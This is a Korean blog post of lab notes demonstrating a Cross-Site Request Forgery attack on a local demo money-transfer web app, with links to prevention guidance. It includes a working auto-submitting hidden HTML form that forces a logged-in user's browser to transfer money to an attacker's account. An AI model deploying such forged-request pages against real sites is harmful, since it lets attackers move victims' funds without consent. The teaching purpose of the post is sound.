SECURITY

6.Cross-Site Request Forgery (CSRF)

파란실버라이트 2012. 12. 5. 14:06

 

아래 프로젝트 파일 실행 후 다음과 같은 과정을 걸쳐 CSRF를 이해함

 

프로그램 설명 : Login 한 사용자가 다른 사용자에게 송금을 한다.

 

CsrfDemo.zip

 

CSRF 실습과정

1. 사용자가 로그인한다.

 

 

 

2. 100원을 bad guy에게 송금한다.

 

 

 

3.  Post로 요청하였지만 fidder에서 보면 Rest Service 의 주소와 내용을 알 수 있다.

 

 

 

4. 3번 내용을 가지고 웹페이를 만들어 실행한다. (

  - 저자가 제공한 사이트 사용 : http://demo.haacked.com/security/csrf-mvc.html)

  - 같은 세션을 가지고 있어야 하므로 탭으로 열고 붙여넣기 후 클릭

  - 실제 해킹할 때는 Cross-domain 정책이 적용되어 있을 것이므로 해당 사이트에 아래 html 파일을 업로드 후 실행하지 않을까하는..

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title></title>
</head>
<body>
    <form name="badform" method="post" action="http://localhost:54607/Home/Transfer">
        <input type="hidden" name="destinationAccountId" value="2" />
        <input type="hidden" name="amount" value="1000" />
    </form>
    <script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

 

 

5. 다른 사이트에서 bad guy에게 돈이 송금된 것을 확인(\1000원을 송금  :  \400 => - \600 )

 

 

 

 

6. 정상적으로 service를 call 했을 때와 다른 사이트에서 call 했을 때 referer가 다른 것을 알 수 있다.

 

 

 

 

참고 사이트 : http://haacked.com/archive/2009/04/02/anatomy-of-csrf-attack.aspx

CSRF를 막는 방법 참고 사이트 :  http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/